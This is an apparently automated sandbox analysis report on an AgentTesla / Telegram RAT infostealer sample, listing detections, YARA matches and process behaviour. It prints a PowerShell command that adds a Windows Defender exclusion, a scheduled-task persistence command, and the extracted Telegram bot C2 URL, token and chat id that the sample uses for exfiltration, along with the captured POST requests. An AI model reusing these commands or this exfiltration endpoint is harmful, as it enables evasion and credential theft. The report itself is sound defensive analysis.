Edit tour

Windows Analysis Report
S.O.A18052022.exe

Overview

General Information

Sample Name:	S.O.A18052022.exe
Analysis ID:	626526
MD5:	f2023f2bc7bb270d24f99c9d35d3ad18
SHA1:	c5ac81e00b800d2a0a7f62c027602ac558b66a4e
SHA256:	ce8a8dcf86d3395b6b9f349e4d2677ae515f1b067febb8f77b070043898ebe8a
Tags:	exePayment
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected AntiVM3

Multi AV Scanner detection for dropped file

Installs a global keyboard hook

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

.NET source code references suspicious native API functions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Yara detected Generic Downloader

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large array initializations

Machine Learning detection for dropped file

Adds a directory exclusion to Windows Defender

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

S.O.A18052022.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\S.O.A18052022.exe" MD5: F2023F2BC7BB270D24F99C9D35D3AD18)

powershell.exe (PID: 3660 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 2356 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DIPrtjjfjUpyJ" /XML "C:\Users\user\AppData\Local\Temp\tmp7211.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

S.O.A18052022.exe (PID: 6320 cmdline: C:\Users\user\Desktop\S.O.A18052022.exe MD5: F2023F2BC7BB270D24F99C9D35D3AD18)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "2062013058", "Chat URL": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.280288652.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000000.280288652.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000008.00000002.503223251.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.503223251.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.286263244.00000000040BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.286263244.00000000040BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000008.00000000.280764938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000000.280764938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000008.00000000.278325947.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000000.278325947.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000008.00000000.279240586.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000000.279240586.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.284445306.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.286689027.00000000041DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.286689027.00000000041DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 1216	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 1216	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 1216	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 6320	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 6320	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: S.O.A18052022.exe PID: 6320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.S.O.A18052022.exe.40fb108.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40fb108.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40fb108.6.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30e37:$s10: logins 0x3089e:$s11: credential 0x2cdd3:$g1: get_Clipboard 0x2cde1:$g2: get_Keyboard 0x2cdee:$g3: get_Password 0x2e0e6:$g4: get_CtrlKeyDown 0x2e0f6:$g5: get_ShiftKeyDown 0x2e107:$g6: get_AltKeyDown
8.0.S.O.A18052022.exe.400000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.10.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.10.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.S.O.A18052022.exe.400000.10.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
8.2.S.O.A18052022.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.S.O.A18052022.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.2.S.O.A18052022.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.S.O.A18052022.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
8.0.S.O.A18052022.exe.400000.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.12.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.12.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.S.O.A18052022.exe.400000.12.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
8.0.S.O.A18052022.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.4.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.S.O.A18052022.exe.400000.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.40fb108.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40fb108.6.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40fb108.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.S.O.A18052022.exe.40fb108.6.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x67257:$s10: logins 0x3269e:$s11: credential 0x66cbe:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x631f3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x63201:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x6320e:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x64506:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x64516:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown 0x64527:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x6e857:$s10: logins 0x6e2be:$s11: credential 0x6a7f3:$g1: get_Clipboard 0x6a801:$g2: get_Keyboard 0x6a80e:$g3: get_Password 0x6bb06:$g4: get_CtrlKeyDown 0x6bb16:$g5: get_ShiftKeyDown 0x6bb27:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.42e8fe0.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42e8fe0.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42e8fe0.8.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30e37:$s10: logins 0x3089e:$s11: credential 0x2cdd3:$g1: get_Clipboard 0x2cde1:$g2: get_Keyboard 0x2cdee:$g3: get_Password 0x2e0e6:$g4: get_CtrlKeyDown 0x2e0f6:$g5: get_ShiftKeyDown 0x2e107:$g6: get_AltKeyDown
8.0.S.O.A18052022.exe.400000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.6.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.S.O.A18052022.exe.400000.6.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
8.0.S.O.A18052022.exe.400000.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
8.0.S.O.A18052022.exe.400000.8.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.S.O.A18052022.exe.400000.8.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c37:$s10: logins 0x3269e:$s11: credential 0x2ebd3:$g1: get_Clipboard 0x2ebe1:$g2: get_Keyboard 0x2ebee:$g3: get_Password 0x2fee6:$g4: get_CtrlKeyDown 0x2fef6:$g5: get_ShiftKeyDown 0x2ff07:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.42601c0.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42601c0.9.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.S.O.A18052022.exe.42601c0.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.S.O.A18052022.exe.42601c0.9.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0xbba57:$s10: logins 0xf0077:$s10: logins 0xbb4be:$s11: credential 0xefade:$s11: credential 0xb79f3:$g1: get_Clipboard 0xec013:$g1: get_Clipboard 0xb7a01:$g2: get_Keyboard 0xec021:$g2: get_Keyboard 0xb7a0e:$g3: get_Password 0xec02e:$g3: get_Password 0xb8d06:$g4: get_CtrlKeyDown 0xed326:$g4: get_CtrlKeyDown 0xb8d16:$g5: get_ShiftKeyDown 0xed336:$g5: get_ShiftKeyDown 0xb8d27:$g6: get_AltKeyDown 0xed347:$g6: get_AltKeyDown
0.2.S.O.A18052022.exe.42601c0.9.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x481c7:$s1: file:/// 0x480d7:$s2: {11111-22222-10009-11112} 0x48157:$s3: {11111-22222-50001-00000} 0x45b1d:$s4: get_Module 0x45f8c:$s5: Reverse 0xb7f5c:$s5: Reverse 0xec57c:$s5: Reverse 0x47caa:$s6: BlockCopy 0xb9e35:$s6: BlockCopy 0xee455:$s6: BlockCopy 0xb81fd:$s7: ReadByte 0xec81d:$s7: ReadByte 0x481d9:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 42 entries

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.S.O.A18052022.exe.40fb108.6.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "2062013058", "Chat URL": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument"}
Source: S.O.A18052022.exe.6320.8.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendMessage"}

Multi AV Scanner detection for submitted file

Source: S.O.A18052022.exe

Virustotal: Detection: 50%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exe

Virustotal: Detection: 50%

Perma Link

Machine Learning detection for sample

Source: S.O.A18052022.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\DIPrtjjfjUpyJ.exe

Joe Sandbox ML: detected

Source: 8.0.S.O.A18052022.exe.400000.12.unpack	Avira: Label: TR/Spy.Gen8
Source: 8.0.S.O.A18052022.exe.400000.10.unpack	Avira: Label: TR/Spy.Gen8
Source: 8.0.S.O.A18052022.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 8.2.S.O.A18052022.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 8.0.S.O.A18052022.exe.400000.8.unpack	Avira: Label: TR/Spy.Gen8
Source: 8.0.S.O.A18052022.exe.400000.6.unpack	Avira: Label: TR/Spy.Gen8

Source: S.O.A18052022.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49739 version: TLS 1.2

Source: S.O.A18052022.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: EnumeratorDropIndi.pdb8n source: S.O.A18052022.exe, DIPrtjjfjUpyJ.exe.0.dr
Source:	Binary string: EnumeratorDropIndi.pdb source: S.O.A18052022.exe, DIPrtjjfjUpyJ.exe.0.dr

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 8.0.S.O.A18052022.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.S.O.A18052022.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.S.O.A18052022.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.S.O.A18052022.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.S.O.A18052022.exe.40fb108.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.S.O.A18052022.exe.42e8fe0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.S.O.A18052022.exe.40bf4e8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.S.O.A18052022.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.S.O.A18052022.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.S.O.A18052022.exe.42601c0.9.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: POST /bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da3588fbc4d762Host: api.telegram.orgContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot2043981125:AAGaa5K6uc5rV5LARENbXhpoD0InPrKgKJI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da3589f2dd8009Host: api.telegram.orgContent-Length: 1895Expect: 100-continue

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: S.O.A18052022.exe, 00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: S.O.A18052022.exe, 00000008.00000002.505430231.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: S.O.A18052022.exe, 00000008.00000002.506594458.0000000002F7E000.00000004.00000800.00020000.00000000.sdmp, S.O.A18052022.exe, 00000008.00000002.506710013.0000000002FB8000.00000004.00000800.00020000.00000000.sdmp

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
S.O.A18052022.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report S.O.A18052022.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Windows Analysis Report
S.O.A18052022.exe